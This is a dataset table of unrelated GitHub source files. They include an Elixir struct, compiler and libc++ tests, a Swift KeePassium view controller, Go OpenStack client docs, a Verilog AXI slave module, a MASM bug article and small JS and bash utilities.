text
stringlengths
2
99.9k
meta
dict
# defmodule Formex.TestModel.Article do # use Formex.TestModel # schema "articles" do # field :title, :string # field :content, :string # field :visible, :boolean # belongs_to :category, Formex.TestModel.Category # belongs_to :user, Formex.TestModel.User # many_to_many :tags, Formex.TestModel.Tag, join_through: "articles_tags", # on_delete: :delete_all, on_replace: :delete # timestamps() # end # end defmodule Formex.TestModel.Article do defstruct [:id, :title, :content, :visible, :category_id, :user_id, tags: []] end
{ "pile_set_name": "Github" }
// RUN: %clang_cc1 -fsyntax-only -verify %s int *test1(int *a) { return a + 1; } int *test2(int *a) { return 1 + a; } int *test3(int *a) { return a - 1; } int test4(int *a, int *b) { return a - b; } int test5(int *a, int *b) { return a + b; } /* expected-error {{invalid operands}} */ int *test6(int *a) { return 1 - a; } /* expected-error {{invalid operands}} */
{ "pile_set_name": "Github" }
0.425461 0.480862 0.370231 0.707252 0.426560 0.066426 0.389576 0.232102 0.659756 0.711298 0.306533 0.605793 0.187053 0.287646 0.722218 0.730151 0.499054 0.953490 0.750834 0.865479 0.876550 0.785169 0.896556 0.564851 0.925648 0.167638 0.521776 0.535425 0.435424 0.131203 0.042398 0.439611 0.331822 0.969520 0.262682 0.146825 0.535425 0.836810 0.131203 0.781310 0.439611 0.331822 0.925161 0.249424 0.156119 0.499851 0.469147 0.868033 0.046061 0.680763 0.036871 0.597428 0.832320 0.636424 0.930825 0.079660 0.096501 0.467056 0.485355 0.713106 0.274075 0.194931 0.340580 0.545663 0.613759 0.503138 0.940932 0.165571 0.831922 0.452740 0.484970 0.918727 0.490041 0.484852 0.462177 0.308495 0.825509 0.423852 0.336129 0.000058 0.504370 0.017590 0.235145 0.720935 0.447109 0.328812 0.653593 0.651609 0.541427 0.273200 0.000897 0.310049 0.177859 0.274093 0.108045 0.158847 0.989347 0.032771 0.604567 0.620108 0.058870 0.735999 0.765248 0.828330 0.339634 0.451615 0.918872 0.232970 0.182216 0.190235 0.986003 0.781636 0.836481 0.887406 0.835965 0.386068 0.206347 0.360499 0.843740 0.358064 0.371284 0.969839 0.096793 0.134965 0.378435 0.859970 0.339670 0.885413 0.128985 0.517248 0.639079 0.834576 0.225879 0.513715 0.446146 0.684936 0.288096 0.183425 0.271907 0.449867 0.606438 0.452209 0.612404 0.934100 0.357507 0.641520 0.792552 0.309377 0.334528 0.512003 0.691684 0.138433 0.479821 0.402727 0.165850 0.163220 0.140872 0.604747 0.289165 0.274853 0.995998 0.079044 0.363292 0.130360 0.285222 0.288614 0.966250 0.430058 0.487413 0.317146 0.868195 0.553975 0.774594 0.839187 0.740725 0.482368 0.316039 0.023097 0.096987 0.698576 0.353953 0.844067 0.774843 0.151435 0.069713 0.387085 0.629945 0.183667 0.879323 0.518237 0.088161 0.848070 0.585553 0.317318 0.239832 0.117671 0.244167 0.305542 0.839177 0.521856 0.760851 0.949989 0.571019 0.434747 0.840633 0.602861 0.923630 0.939891 0.635851 0.360851 0.875056 0.619311 0.094382 0.542104 0.374408 0.400426 0.938592 0.599986 0.374132 0.984352 0.602909 0.423300 0.532482 0.446682 0.403971 0.579082 0.640701 0.137465 0.535156 0.866874 0.143109 0.980601 0.608728 0.766939 0.199198 0.891300 0.012052 0.514498 0.046307 0.038358 0.347203 0.960969 0.760221 0.199867 0.003368 0.500709 0.459773 0.664573 0.425964 0.145126 0.180143 0.268443 0.923367 0.815515 0.305209 0.055039 0.338324 0.631086 0.410104 0.078917 0.984889 0.925871 0.589781 0.442184 0.583978 0.991713 0.278653 0.390442 0.982844 0.556125 0.771172 0.272768 0.608872 0.187053 0.287646 0.105764 0.730151 0.245699 0.955210 0.546952 0.095390 0.177859 0.385250 0.108045 0.158781 0.989347 0.023357 0.610692 0.515741 0.915857 0.454388 0.965019 0.518238 0.033477 0.537623 0.579963 0.747274 0.565129 0.998702 0.921107 0.742327 0.880938 0.352035 0.010290 0.207455 0.887652 0.554895 0.406543 0.102243 0.575746 0.320751 0.210676 0.217685 0.614830 0.025928 0.444529 0.599191 0.879254 0.968063 0.320550 0.628118 0.333219 0.246845 0.006234 0.576941 0.346023 0.475310 0.142702 0.265107 0.970466 0.110658 0.221364 0.881802 0.353953 0.835140 0.770262 0.582478 0.558986 0.242590 0.728551 0.131005 0.023459 0.679613 0.305462 0.754789 0.576310 0.929059 0.535931 0.820683 0.770785 0.159891 0.202232 0.960215 0.616408 0.522983 0.624761 0.811208 0.502764 0.887917 0.710720 0.901353 0.020583 0.308716 0.783096 0.832354 0.364299 0.416698 0.055795 0.175298 0.931193 0.591090 0.802874 0.064291 0.366948 0.631086 0.687872 0.680612 0.962908 0.909953 0.609125 0.731375 0.469210 0.022931 0.831340 0.469644 0.173336 0.918727 0.127604 0.375816 0.108498 0.693797 0.484785 0.765440 0.000556 0.602196 0.020970 0.539447 0.152296 0.705219 0.287529 0.102528 0.939445 0.985613 0.956325 0.565967 0.605856 0.663380 0.997086 0.479879 0.422244 0.196776 0.749094 0.146713 0.547799 0.775793 0.061014 0.814759 0.806590 0.777044 0.840852 0.119200 0.527430 0.555278 0.238876 0.953030 0.185405 0.983018 0.086731 0.691055 0.033777 0.970490 0.921645 0.990516 0.784366 0.427376 0.840925 0.106650 0.681160 0.052347 0.377578 0.928471 0.366608 0.895687 0.034802 0.418910 0.220052 0.705451 0.268891 0.501819 0.230737 0.516344 0.998785 0.904545 0.746513 0.880938 0.034394 0.010290 0.192493 0.888365 0.462948 0.916604 0.470971 0.960846 0.518238 0.351040 0.537623 0.594925 0.746561 0.925871 0.270934 0.431056 0.516561 0.991713 0.832198 0.450192 0.997003 0.556125 0.681669 0.815692 0.189684 0.584665 0.443483 0.266864 0.383590 0.492491 0.446146 0.342191 0.415405 0.449319 0.561263 0.220816 0.679806 0.842264 0.653339 0.574039 0.028204 0.343002 0.460255 0.378645 0.303632 0.646105 0.965774 0.074756 0.954137 0.983472 0.312187 0.563401 0.006683 0.996593 0.186719 0.869050 0.932691 0.501381 0.942109 0.979611 0.328403 0.627158 0.154550 0.935212 0.305935 0.225736 0.916307 0.886863 0.071673 0.428221 0.831501 0.207943 0.680416 0.251390 0.055423 0.927417 0.369324 0.761707 0.675497 0.096941 0.743151 0.637877 0.040506 0.371173 0.941625 0.048554 0.117869 0.242514 0.651932 0.217747 0.319373 0.271881 0.334525 0.073391 0.580329 0.236631 0.422745 0.620006 0.682891 0.080182 0.394855 0.551592 0.376637 0.060534 0.729491 0.692411 0.042362 0.065499 0.186840 0.535112 0.097511 0.404784 0.431371 0.162026 0.285222 0.824756 0.974593 0.428725 0.487413 0.150936 0.857738 0.481310 0.471471 0.868033 0.784049 0.680763 0.036871 0.597428 0.832320 0.636424 0.223149 0.061014 0.814759 0.982522 0.777044 0.840852 0.119200 0.511800 0.555278 0.440545 0.891606 0.702389 0.789750 0.847751 0.578832 0.830270 0.662322 0.727388 0.188019 0.190235 0.959557 0.804365 0.147356 0.885800 0.156111 0.377783 0.233013 0.360499 0.497185 0.378502 0.340716 0.265160 0.105112 0.528162 0.260409 0.869122 0.023124 0.830425 0.374604 0.023187 0.957973 0.717020 0.131575 0.896185 0.741895 0.624360 0.106804 0.499512 0.357117 0.135787 0.685391 0.929740 0.925474 0.190069 0.180911 0.335636 0.192884 0.472624 0.916703 0.715628 0.863577 0.275996 0.216323 0.068133 0.304135 0.816337 0.765248 0.828330 0.400313 0.580528 0.171394 0.965669 0.835526 0.715317 0.241759 0.460989 0.845136 0.339300 0.735605 0.915531 0.255142 0.559218 0.293954 0.777142 0.225191 0.611423 0.233916 0.899029 0.924184 0.276894 0.822541 0.873117 0.469428 0.217626 0.439481 0.864474 0.544087 0.338393 0.124297 0.707378 0.437777 0.827378 0.828513 0.475893 0.539721 0.446577 0.082737 0.434654 0.407942 0.723753 0.157908 0.237056 0.271647 0.877284 0.760870 0.372188 0.220829 0.602456 0.578085 0.960221 0.230349 0.111634 0.378833 0.103397 0.595196 0.672956 0.347968 0.550818 0.031563 0.833778 0.211500 0.805129 0.611652 0.641487 0.054899 0.511489 0.345441 0.866635 0.627922 0.154550 0.935212 0.865432 0.217975 0.501036 0.976931 0.340797 0.328563 0.471129 0.150177 0.323457 0.295723 0.908375 0.768462 0.439950 0.340797 0.940175 0.471894 0.150177 0.324363 0.292030 0.957507 0.766257 0.539328 0.229492 0.992172 0.287529 0.102528 0.842016 0.985613 0.924024 0.549506 0.342481 0.672891 0.836618 0.504889 0.715454 0.997083 0.145975 0.669959 0.641853 0.355084 0.412361 0.456410 0.559742 0.215094 0.667053 0.906530 0.975600 0.573745 0.774230 0.991142 0.185405 0.807145 0.850343 0.691055 0.033777 0.621386 0.921645 0.837526 0.294699 0.305900 0.908443 0.026745 0.926849 0.603729 0.985273 0.665040 0.719740 0.026067 0.657781 0.303678 0.085441 0.371566 0.878669 0.321191 0.754522 0.629219 0.026067 0.950556 0.349745 0.683041 0.371566 0.898464 0.321191 0.754522 0.756997 0.255510 0.070772 0.901214 0.853446 0.161552 0.147140 0.707128 0.980021
{ "pile_set_name": "Github" }
// KeePassium Password Manager // Copyright © 2018–2019 Andrei Popleteev <[email protected]> // // This program is free software: you can redistribute it and/or modify it // under the terms of the GNU General Public License version 3 as published // by the Free Software Foundation: https://www.gnu.org/licenses/). // For commercial licensing, please contact the author. import KeePassiumLib protocol DatabaseChooserDelegate: class { func databaseChooserShouldCancel(_ sender: DatabaseChooserVC) func databaseChooserShouldAddDatabase(_ sender: DatabaseChooserVC, popoverAnchor: PopoverAnchor) func databaseChooser(_ sender: DatabaseChooserVC, didSelectDatabase urlRef: URLReference) func databaseChooser(_ sender: DatabaseChooserVC, shouldDeleteDatabase urlRef: URLReference) func databaseChooser(_ sender: DatabaseChooserVC, shouldRemoveDatabase urlRef: URLReference) func databaseChooser(_ sender: DatabaseChooserVC, shouldShowInfoForDatabase urlRef: URLReference) } class DatabaseChooserVC: UITableViewController, DynamicFileList, Refreshable { private enum CellID { static let fileItem = "FileItemCell" static let noFiles = "NoFilesCell" } weak var delegate: DatabaseChooserDelegate? private(set) var databaseRefs: [URLReference] = [] private let fileInfoReloader = FileInfoReloader() internal var ongoingUpdateAnimations = 0 override func viewDidLoad() { super.viewDidLoad() clearsSelectionOnViewWillAppear = true let refreshControl = UIRefreshControl() refreshControl.addTarget(self, action: #selector(didPullToRefresh), for: .valueChanged) self.refreshControl = refreshControl let longPressGestureRecognizer = UILongPressGestureRecognizer( target: self, action: #selector(didLongPressTableView)) tableView.addGestureRecognizer(longPressGestureRecognizer) refresh() } override func viewDidAppear(_ animated: Bool) { super.viewDidAppear(animated) navigationController?.setToolbarHidden(true, animated: true) refresh() } @objc private func didPullToRefresh() { if !tableView.isDragging { refreshControl?.endRefreshing() refresh() } } override func scrollViewDidEndDragging(_ scrollView: UIScrollView, willDecelerate decelerate: Bool) { if refreshControl?.isRefreshing ?? false { refreshControl?.endRefreshing() refresh() } } @objc func refresh() { databaseRefs = FileKeeper.shared.getAllReferences( fileType: .database, includeBackup: Settings.current.isBackupFilesVisible) sortFileList() fileInfoReloader.getInfo( for: databaseRefs, update: { [weak self] (ref) in guard let self = self else { return } self.sortAndAnimateFileInfoUpdate(refs: &self.databaseRefs, in: self.tableView) }, completion: { [weak self] in guard let self = self else { return } DispatchQueue.main.asyncAfter(deadline: .now() + self.sortingAnimationDuration) { [weak self] in self?.sortFileList() } } ) } fileprivate func sortFileList() { let fileSortOrder = Settings.current.filesSortOrder databaseRefs.sort { return fileSortOrder.compare($0, $1) } tableView.reloadData() } func getIndexPath(for fileIndex: Int) -> IndexPath { return IndexPath(row: fileIndex, section: 0) } @IBAction func didPressCancel(_ sender: Any) { Watchdog.shared.restart() delegate?.databaseChooserShouldCancel(self) } @IBAction func didPressAddDatabase(_ sender: UIBarButtonItem) { Watchdog.shared.restart() let popoverAnchor = PopoverAnchor(barButtonItem: sender) delegate?.databaseChooserShouldAddDatabase(self, popoverAnchor: popoverAnchor) } @objc func didLongPressTableView(_ gestureRecognizer: UILongPressGestureRecognizer) { Watchdog.shared.restart() let point = gestureRecognizer.location(in: tableView) guard gestureRecognizer.state == .began, let indexPath = tableView.indexPathForRow(at: point), tableView(tableView, canEditRowAt: indexPath) else { return } showActions(for: indexPath) } override func numberOfSections(in tableView: UITableView) -> Int { return 1 } override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { if databaseRefs.isEmpty { return 1 // for "nothing here" cell } else { return databaseRefs.count } } override func tableView( _ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { guard databaseRefs.count > 0 else { let cell = tableView.dequeueReusableCell(withIdentifier: CellID.noFiles, for: indexPath) return cell } let cell = FileListCellFactory.dequeueReusableCell( from: tableView, withIdentifier: CellID.fileItem, for: indexPath, for: .database) let dbRef = databaseRefs[indexPath.row] cell.showInfo(from: dbRef) cell.isAnimating = dbRef.isRefreshingInfo cell.accessoryTapHandler = { [weak self, indexPath] cell in guard let self = self else { return } self.tableView(self.tableView, accessoryButtonTappedForRowWith: indexPath) } return cell } override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { guard databaseRefs.count > 0 else { return } let dbRef = databaseRefs[indexPath.row] delegate?.databaseChooser(self, didSelectDatabase: dbRef) } override func tableView( _ tableView: UITableView, accessoryButtonTappedForRowWith indexPath: IndexPath) { Watchdog.shared.restart() let urlRef = databaseRefs[indexPath.row] delegate?.databaseChooser(self, shouldShowInfoForDatabase: urlRef) } override func tableView(_ tableView: UITableView, canEditRowAt indexPath: IndexPath) -> Bool { return databaseRefs.count > 0 } override func tableView( _ tableView: UITableView, editActionsForRowAt indexPath: IndexPath ) -> [UITableViewRowAction]? { Watchdog.shared.restart() guard databaseRefs.count > 0 else { return nil } let urlRef = databaseRefs[indexPath.row] let isInternalFile = urlRef.location.isInternal let deleteAction = UITableViewRowAction( style: .destructive, title: isInternalFile ? LString.actionDeleteFile : LString.actionRemoveFile) { [weak self] (_,_) in guard let _self = self else { return } _self.setEditing(false, animated: true) if isInternalFile { _self.delegate?.databaseChooser(_self, shouldDeleteDatabase: urlRef) } else { _self.delegate?.databaseChooser(_self, shouldRemoveDatabase: urlRef) } } deleteAction.backgroundColor = UIColor.destructiveTint return [deleteAction] } private func showActions(for indexPath: IndexPath) { let urlRef = databaseRefs[indexPath.row] let isInternalFile = urlRef.location.isInternal let deleteAction = UIAlertAction( title: isInternalFile ? LString.actionDeleteFile : LString.actionRemoveFile, style: .destructive, handler: { [weak self] _ in guard let self = self else { return } if isInternalFile { self.delegate?.databaseChooser(self, shouldDeleteDatabase: urlRef) } else { self.delegate?.databaseChooser(self, shouldRemoveDatabase: urlRef) } } ) let cancelAction = UIAlertAction(title: LString.actionCancel, style: .cancel, handler: nil) let menu = UIAlertController(title: nil, message: nil, preferredStyle: .actionSheet) menu.addAction(deleteAction) menu.addAction(cancelAction) let pa = PopoverAnchor(tableView: tableView, at: indexPath) if let popover = menu.popoverPresentationController { pa.apply(to: popover) } present(menu, animated: true) } }
{ "pile_set_name": "Github" }
/* Package servers provides information and interaction with the server API resource in the OpenStack Compute service. A server is a virtual machine instance in the compute system. In order for one to be provisioned, a valid flavor and image are required. Example to List Servers listOpts := servers.ListOpts{ AllTenants: true, } allPages, err := servers.List(computeClient, listOpts).AllPages() if err != nil { panic(err) } allServers, err := servers.ExtractServers(allPages) if err != nil { panic(err) } for _, server := range allServers { fmt.Printf("%+v\n", server) } Example to Create a Server createOpts := servers.CreateOpts{ Name: "server_name", ImageRef: "image-uuid", FlavorRef: "flavor-uuid", } server, err := servers.Create(computeClient, createOpts).Extract() if err != nil { panic(err) } Example to Delete a Server serverID := "d9072956-1560-487c-97f2-18bdf65ec749" err := servers.Delete(computeClient, serverID).ExtractErr() if err != nil { panic(err) } Example to Force Delete a Server serverID := "d9072956-1560-487c-97f2-18bdf65ec749" err := servers.ForceDelete(computeClient, serverID).ExtractErr() if err != nil { panic(err) } Example to Reboot a Server rebootOpts := servers.RebootOpts{ Type: servers.SoftReboot, } serverID := "d9072956-1560-487c-97f2-18bdf65ec749" err := servers.Reboot(computeClient, serverID, rebootOpts).ExtractErr() if err != nil { panic(err) } Example to Rebuild a Server rebuildOpts := servers.RebuildOpts{ Name: "new_name", ImageID: "image-uuid", } serverID := "d9072956-1560-487c-97f2-18bdf65ec749" server, err := servers.Rebuilt(computeClient, serverID, rebuildOpts).Extract() if err != nil { panic(err) } Example to Resize a Server resizeOpts := servers.ResizeOpts{ FlavorRef: "flavor-uuid", } serverID := "d9072956-1560-487c-97f2-18bdf65ec749" err := servers.Resize(computeClient, serverID, resizeOpts).ExtractErr() if err != nil { panic(err) } err = servers.ConfirmResize(computeClient, serverID).ExtractErr() if err != nil { panic(err) } Example to Snapshot a Server snapshotOpts := servers.CreateImageOpts{ Name: "snapshot_name", } serverID := "d9072956-1560-487c-97f2-18bdf65ec749" image, err := servers.CreateImage(computeClient, serverID, snapshotOpts).ExtractImageID() if err != nil { panic(err) } */ package servers
{ "pile_set_name": "Github" }
TYPE='swap'
{ "pile_set_name": "Github" }
--- layout: page title: "Q35883: Public Labels Are Prefixed with Underscore Incorrectly" permalink: /pubs/pc/reference/microsoft/kb/Q35883/ --- ## Q35883: Public Labels Are Prefixed with Underscore Incorrectly Article: Q35883 Version(s): 5.10 | 5.10 Operating System: MS-DOS | OS/2 Flags: ENDUSER | buglist5.10 Last Modified: 20-NOV-1990 When you assemble the following program with MASM Version 5.10 and examine the public labels, you will find an underscore prefixed to the public labels. The structure declaration is the cause of the problem. The problem is related to the space before the comma in the structure initialization. MASM wasn't skipping it, causing a host of problems. The workaround to this problem is to remove the space. Another symptom of the problem occurs during link-time, the linker generates unresolved externals for all public labels with underscores prefixed. Microsoft has confirmed this to be a problem in Version 5.10. We are researching this problem and will post new information as it becomes available. The following sample code demonstrates the problem: ;******************************************************************* FooStruc STRUC Label1 db "LPT" Label2 db ? db " " FooStruc ENDS DSEG SEGMENT FooData1 FooStruc < , "1"> FooData2 FooStruc < , "2"> DSEG ENDS CSEG SEGMENT ASSUME CS:CSEG, DS:DSEG PUBLIC FooProc FooProc PROC NEAR mov ax, OFFSET DSEG:FooData2 FooProc ENDP CSEG ENDS END ;*************************************************************
{ "pile_set_name": "Github" }
## I18N example How to support multiple languages in your web app based on [Fluent][url_project_fluent]. Includes a language selector, some sample text and [FTL strings][url_ftl_syntax_guide] demonstrating the simplicity and power of [Seed][url_project_seed] powered by [Fluent's Rust crate][url_crate_fluent]. [url_project_fluent]: https://projectfluent.org/ [url_crate_fluent]: https://docs.rs/fluent/ [url_ftl_syntax_guide]: https://projectfluent.org/fluent/guide/ [url_project_seed]: https://seed-rs.org/ --- ```bash cargo make start ``` Open [127.0.0.1:8000](http://127.0.0.1:8000) in your browser.
{ "pile_set_name": "Github" }
/* File: axi_slave_addrch.v This file is part of the Parallella FPGA Reference Design. Copyright (C) 2013 Adapteva, Inc. Contributed by Roman Trogan <[email protected]> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program (see the file COPYING). If not, see <http://www.gnu.org/licenses/>. */ module axi_slave_addrch (/*AUTOARG*/ // Outputs aready, ach_fifo_empty, tran_addr, tran_mode, dalgn_ctrl, byte_tran, hword_tran, word_tran, aid_ec, alen_ec, new_addr_sel, // Inputs aclk, eclk, reset, avalid, addr, aid, alen, asize, aburst, tran_last, tran_stall, tran_go ); parameter SAW = 32; //Address Bus Width parameter SIDW = 12; //ID Width parameter ACH = SAW+SIDW+9; //Width of all used Address Signals parameter AFW = 4; //Address channel FIFO address width //######### //# Inputs //######### // global signals input aclk; //clock source of the axi bus input eclk; //clock source of emesh interface input reset; //reset input avalid; //address valid input [SAW-1:0] addr; //address input [SIDW-1:0] aid; //address ID input [3:0] alen; //burst lenght (the number of data transfers) input [2:0] asize; //burst size (the size of each transfer) input [1:0] aburst; //burst type input tran_last; //Last data of burst input tran_stall; //Transaction stall input tran_go; //Transaction is "dispatching" //########## //# Outputs //########## output aready; //address ready output ach_fifo_empty; output [SAW-1:0] tran_addr; output [1:0] tran_mode; output [2:0] dalgn_ctrl; output byte_tran; output hword_tran; output word_tran; output [SIDW-1:0] aid_ec; output [3:0] alen_ec; output new_addr_sel; /*AUTOINPUT*/ /*AUTOWIRE*/ //######### //# Regs //######### reg [ACH-1:0] ach_fifo_in; reg avalid_aready_reg; reg [ACH-1:0] ach_fifo_reg; reg ach_fifo_rd_reg; reg [SAW-1:0] tran_addr; reg [1:0] tran_mode; reg ach_fifo_empty_reg; //######### //# Wires //######### wire [ACH-1:0] ach_data_in; wire [ACH-1:0] ach_fifo_out; wire aready; wire avalid_aready; wire ach_fifo_full; wire ach_fifo_rd; wire ach_fifo_wr; wire ach_fifo_empty; wire [SAW-1:0] addr_ec; // "_ec" indicates an eclk domain signal wire [SIDW-1:0] aid_ec; wire [3:0] alen_ec; wire [2:0] asize_ec; wire [1:0] aburst_ec; wire incr_burst; wire byte_tran; wire hword_tran; wire word_tran; wire [3:0] addr_incr; wire [SAW-1:0] addr_upd; wire [SAW-1:0] addr_mask; wire [SAW-1:0] addr_algn; wire [SAW-1:0] addr_new; wire [2:0] dalgn_ctrl; wire new_addr_sel; //# The data is sampled before entering FIFO to prevent timing issues assign ach_data_in[ACH-1:0] = {addr[SAW-1:0],aid[SIDW-1:0],alen[3:0], asize[2:0],aburst[1:0]}; always @ (posedge aclk) if(~ach_fifo_full) ach_fifo_in[ACH-1:0] <= ach_data_in[ACH-1:0]; always @ (posedge aclk or posedge reset) if(reset) avalid_aready_reg <= 1'b0; else if(~ach_fifo_full) avalid_aready_reg <= avalid_aready; assign aready = ~ach_fifo_full; assign avalid_aready = avalid & aready; assign ach_fifo_rd = ~(ach_fifo_empty | ~tran_last | tran_stall); assign ach_fifo_wr = avalid_aready_reg & ~ach_fifo_full; /*fifo AUTO_TEMPLATE(.rd_clk (eclk), .wr_clk (aclk), .wr_data (ach_fifo_in[ACH-1:0]), .rd_data (ach_fifo_out[ACH-1:0]), .rd_fifo_empty (ach_fifo_empty), .wr_fifo_full (ach_fifo_full), .wr_write (ach_fifo_wr), .rd_read (ach_fifo_rd), ); */ fifo #(.DW(ACH), .AW(AFW)) fifo_ach(/*AUTOINST*/ // Outputs .rd_data (ach_fifo_out[ACH-1:0]), // Templated .rd_fifo_empty (ach_fifo_empty), // Templated .wr_fifo_full (ach_fifo_full), // Templated // Inputs .reset (reset), .wr_clk (aclk), // Templated .rd_clk (eclk), // Templated .wr_write (ach_fifo_wr), // Templated .wr_data (ach_fifo_in[ACH-1:0]), // Templated .rd_read (ach_fifo_rd)); // Templated //# The data is sampled after exiting FIFO to prevent timing issues always @ (posedge eclk) if(~tran_stall) ach_fifo_reg[ACH-1:0] <= ach_fifo_out[ACH-1:0]; always @ (posedge eclk or posedge reset) if(reset) ach_fifo_rd_reg <= 1'b0; else if(~tran_stall) ach_fifo_rd_reg <= ach_fifo_rd; //# Address info decode assign addr_ec[SAW-1:0] = ach_fifo_reg[ACH-1:ACH-SAW]; assign aid_ec[SIDW-1:0] = ach_fifo_reg[ACH-SAW-1:9]; assign alen_ec[3:0] = ach_fifo_reg[8:5] + 4'b0001; assign asize_ec[2:0] = ach_fifo_reg[4:2]; assign aburst_ec[1:0] = ach_fifo_reg[1:0]; //# currently only INCR and FIXED bursts are supported //# WRAP type burst will be treated as FIXED type assign incr_burst = (aburst_ec[1:0] == 2'b01); //# size decode assign byte_tran = (asize_ec[2:0] == 3'b000); assign hword_tran = (asize_ec[2:0] == 3'b001); assign word_tran = (asize_ec[2:0] == 3'b010); //# new address calculation assign addr_incr[3:0] = byte_tran ? {3'b000,incr_burst}: hword_tran ? {2'b00, incr_burst,1'b0}: word_tran ? {1'b0, incr_burst,2'b00} : { incr_burst,3'b000}; assign addr_upd[SAW-1:0] = tran_addr[SAW-1:0] +{{(SAW-4){1'b0}},addr_incr[3:0]}; //# Since we don't support unaligned transfers, a special masking //# mechanism is implemented to "turn" an illegal transfer into legal. assign addr_mask[SAW-1:0] = byte_tran ? {{(SAW-3){1'b1}},3'b111}: hword_tran ? {{(SAW-3){1'b1}},3'b110}: word_tran ? {{(SAW-3){1'b1}},3'b100}: {{(SAW-3){1'b1}},3'b000}; assign addr_algn[SAW-1:0] = addr_ec[SAW-1:0] & addr_mask[SAW-1:0]; assign addr_new[SAW-1:0] = new_addr_sel ? addr_algn[SAW-1:0] : addr_upd[SAW-1:0]; always @ (posedge eclk) if(tran_go & ~tran_stall) begin tran_addr[SAW-1:0] <= addr_new[SAW-1:0]; tran_mode[1:0] <= asize_ec[1:0]; end assign dalgn_ctrl[2:0] = addr_new[2:0]; always @ (posedge eclk or posedge reset) if (reset) ach_fifo_empty_reg <= 1'b1; else if((ach_fifo_empty | tran_go) & ~tran_stall) ach_fifo_empty_reg <= ach_fifo_empty; assign new_addr_sel = (ach_fifo_empty_reg | ach_fifo_rd_reg) & ~ach_fifo_empty; endmodule // axi_slave_addrch
{ "pile_set_name": "Github" }
TARGETTYPE=LIBRARY TARGETNAME=getopt 386_STDCALL=0 _NT_TARGET_VERSION= $(_NT_TARGET_VERSION_WINXP) !IFNDEF MSC_WARNING_LEVEL MSC_WARNING_LEVEL=/W3 !ENDIF USE_MSVCRT=1 INCLUDES=$(DDK_INC_PATH) C_DEFINES = $(C_DEFINES) /DDDKBUILD /DHAVE_STRING_H TARGETLIBS=$(SDK_LIB_PATH)\kernel32.lib \ $(SDK_LIB_PATH)\user32.lib SOURCES=..\getopt1.c \ ..\getopt.c
{ "pile_set_name": "Github" }
/** * Return an ETag in the form of `"<size>-<mtime>"` * from the given `stat`. * * @param {Object} stat * @return {String} * @api private */ exports.etag = function(stat) { return '"' + stat.size + '-' + Number(stat.mtime) + '"'; }; /** * decodeURIComponent. * * Allows V8 to only deoptimize this fn instead of all * of send(). * * @param {String} path * @api private */ exports.decode = function(path){ try { return decodeURIComponent(path); } catch (err) { return -1; } }; /** * Escape the given string of `html`. * * @param {String} html * @return {String} * @api private */ exports.escape = function(html){ return String(html) .replace(/&(?!\w+;)/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;'); };
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <objc/NSObject.h> __attribute__((visibility("hidden"))) @interface OAVColor : NSObject { } + (id)readColorFromAttribute:(id)arg1 alpha:(float)arg2 manager:(id)arg3; + (int)readColorAdjustmentType:(id)arg1; + (int)readColorProperty:(id)arg1; + (id)readPropertyColorFromAttribute:(id)arg1 manager:(id)arg2; + (id)readColorProperty:(int)arg1 manager:(id)arg2; + (id)readRGBColorFromAttribute:(id)arg1; @end
{ "pile_set_name": "Github" }
#!/bin/bash # This example script retrieves the DHCP state of a given interface. # In the interest of keeping the KVP daemon code free of distro specific # information; the kvp daemon code invokes this external script to gather # DHCP setting for the specific interface. # # Input: Name of the interface # # Output: The script prints the string "Enabled" to stdout to indicate # that DHCP is enabled on the interface. If DHCP is not enabled, # the script prints the string "Disabled" to stdout. # # Each Distro is expected to implement this script in a distro specific # fashion. For instance on Distros that ship with Network Manager enabled, # this script can be based on the Network Manager APIs for retrieving DHCP # information. if_file="/etc/sysconfig/network-scripts/ifcfg-"$1 dhcp=$(grep "dhcp" $if_file 2>/dev/null) if [ "$dhcp" != "" ]; then echo "Enabled" else echo "Disabled" fi
{ "pile_set_name": "Github" }
//===----------------------------------------------------------------------===// // // The LLVM Compiler Infrastructure // // This file is dual licensed under the MIT and the University of Illinois Open // Source Licenses. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // type_traits // is_enum #include <type_traits> #include <cstddef> // for std::nullptr_t #include "test_macros.h" template <class T> void test_is_enum() { static_assert( std::is_enum<T>::value, ""); static_assert( std::is_enum<const T>::value, ""); static_assert( std::is_enum<volatile T>::value, ""); static_assert( std::is_enum<const volatile T>::value, ""); #if TEST_STD_VER > 14 static_assert( std::is_enum_v<T>, ""); static_assert( std::is_enum_v<const T>, ""); static_assert( std::is_enum_v<volatile T>, ""); static_assert( std::is_enum_v<const volatile T>, ""); #endif } template <class T> void test_is_not_enum() { static_assert(!std::is_enum<T>::value, ""); static_assert(!std::is_enum<const T>::value, ""); static_assert(!std::is_enum<volatile T>::value, ""); static_assert(!std::is_enum<const volatile T>::value, ""); #if TEST_STD_VER > 14 static_assert(!std::is_enum_v<T>, ""); static_assert(!std::is_enum_v<const T>, ""); static_assert(!std::is_enum_v<volatile T>, ""); static_assert(!std::is_enum_v<const volatile T>, ""); #endif } class Empty { }; class NotEmpty { virtual ~NotEmpty(); }; union Union {}; struct bit_zero { int : 0; }; class Abstract { virtual ~Abstract() = 0; }; enum Enum {zero, one}; typedef void (*FunctionPtr)(); int main() { test_is_enum<Enum>(); test_is_not_enum<std::nullptr_t>(); test_is_not_enum<void>(); test_is_not_enum<int>(); test_is_not_enum<int&>(); test_is_not_enum<int&&>(); test_is_not_enum<int*>(); test_is_not_enum<double>(); test_is_not_enum<const int*>(); test_is_not_enum<char[3]>(); test_is_not_enum<char[]>(); test_is_not_enum<Union>(); test_is_not_enum<Empty>(); test_is_not_enum<bit_zero>(); test_is_not_enum<NotEmpty>(); test_is_not_enum<Abstract>(); test_is_not_enum<FunctionPtr>(); }
{ "pile_set_name": "Github" }
